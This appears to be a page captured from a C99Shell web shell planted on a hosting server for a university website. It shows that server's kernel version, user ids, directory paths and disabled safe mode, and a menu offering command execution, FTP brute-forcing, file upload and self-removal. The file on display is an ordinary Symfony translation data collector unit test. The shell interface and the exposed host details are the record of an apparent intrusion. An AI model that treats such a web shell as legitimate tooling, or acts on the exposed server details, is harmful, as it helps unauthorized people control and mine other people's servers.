!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/symfony/translation/Tests/DataCollector/   drwxr-xr-x
Free 116.6 GB of 200.55 GB (58.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     TranslationDataCollectorTest.php (5.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Translation\Tests\DataCollector;

use 
Symfony\Component\Translation\DataCollectorTranslator;
use 
Symfony\Component\Translation\DataCollector\TranslationDataCollector;

class 
TranslationDataCollectorTest extends \PHPUnit_Framework_TestCase
{
    protected function 
setUp()
    {
        if (!
class_exists('Symfony\Component\HttpKernel\DataCollector\DataCollector')) {
            
$this->markTestSkipped('The "DataCollector" is not available');
        }
    }

    public function 
testCollectEmptyMessages()
    {
        
$translator $this->getTranslator();
        
$translator->expects($this->any())->method('getCollectedMessages')->will($this->returnValue(array()));

        
$dataCollector = new TranslationDataCollector($translator);
        
$dataCollector->lateCollect();

        
$this->assertEquals(0$dataCollector->getCountMissings());
        
$this->assertEquals(0$dataCollector->getCountFallbacks());
        
$this->assertEquals(0$dataCollector->getCountDefines());
        
$this->assertEquals(array(), $dataCollector->getMessages());
    }

    public function 
testCollect()
    {
        
$collectedMessages = array(
            array(
                  
'id' => 'foo',
                  
'translation' => 'foo (en)',
                  
'locale' => 'en',
                  
'domain' => 'messages',
                  
'state' => DataCollectorTranslator::MESSAGE_DEFINED,
                  
'parameters' => array(),
                  
'transChoiceNumber' => null,
            ),
            array(
                  
'id' => 'bar',
                  
'translation' => 'bar (fr)',
                  
'locale' => 'fr',
                  
'domain' => 'messages',
                  
'state' => DataCollectorTranslator::MESSAGE_EQUALS_FALLBACK,
                  
'parameters' => array(),
                  
'transChoiceNumber' => null,
            ),
            array(
                  
'id' => 'choice',
                  
'translation' => 'choice',
                  
'locale' => 'en',
                  
'domain' => 'messages',
                  
'state' => DataCollectorTranslator::MESSAGE_MISSING,
                  
'parameters' => array('%count%' => 3),
                  
'transChoiceNumber' => 3,
            ),
            array(
                  
'id' => 'choice',
                  
'translation' => 'choice',
                  
'locale' => 'en',
                  
'domain' => 'messages',
                  
'state' => DataCollectorTranslator::MESSAGE_MISSING,
                  
'parameters' => array('%count%' => 3),
                  
'transChoiceNumber' => 3,
            ),
            array(
                  
'id' => 'choice',
                  
'translation' => 'choice',
                  
'locale' => 'en',
                  
'domain' => 'messages',
                  
'state' => DataCollectorTranslator::MESSAGE_MISSING,
                  
'parameters' => array('%count%' => 4'%foo%' => 'bar'),
                  
'transChoiceNumber' => 4,
            ),
        );
        
$expectedMessages = array(
            array(
                  
'id' => 'foo',
                  
'translation' => 'foo (en)',
                  
'locale' => 'en',
                  
'domain' => 'messages',
                  
'state' => DataCollectorTranslator::MESSAGE_DEFINED,
                  
'count' => 1,
                  
'parameters' => array(),
                  
'transChoiceNumber' => null,
            ),
            array(
                  
'id' => 'bar',
                  
'translation' => 'bar (fr)',
                  
'locale' => 'fr',
                  
'domain' => 'messages',
                  
'state' => DataCollectorTranslator::MESSAGE_EQUALS_FALLBACK,
                  
'count' => 1,
                  
'parameters' => array(),
                  
'transChoiceNumber' => null,
            ),
            array(
                  
'id' => 'choice',
                  
'translation' => 'choice',
                  
'locale' => 'en',
                  
'domain' => 'messages',
                  
'state' => DataCollectorTranslator::MESSAGE_MISSING,
                  
'count' => 3,
                  
'parameters' => array(
                      array(
'%count%' => 3),
                      array(
'%count%' => 3),
                      array(
'%count%' => 4'%foo%' => 'bar'),
                  ),
                  
'transChoiceNumber' => 3,
            ),
        );

        
$translator $this->getTranslator();
        
$translator->expects($this->any())->method('getCollectedMessages')->will($this->returnValue($collectedMessages));

        
$dataCollector = new TranslationDataCollector($translator);
        
$dataCollector->lateCollect();

        
$this->assertEquals(1$dataCollector->getCountMissings());
        
$this->assertEquals(1$dataCollector->getCountFallbacks());
        
$this->assertEquals(1$dataCollector->getCountDefines());
        
$this->assertEquals($expectedMessagesarray_values($dataCollector->getMessages()));
    }

    private function 
getTranslator()
    {
        
$translator $this
            
->getMockBuilder('Symfony\Component\Translation\DataCollectorTranslator')
            ->
disableOriginalConstructor()
            ->
getMock()
        ;

        return 
$translator;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0326 ]--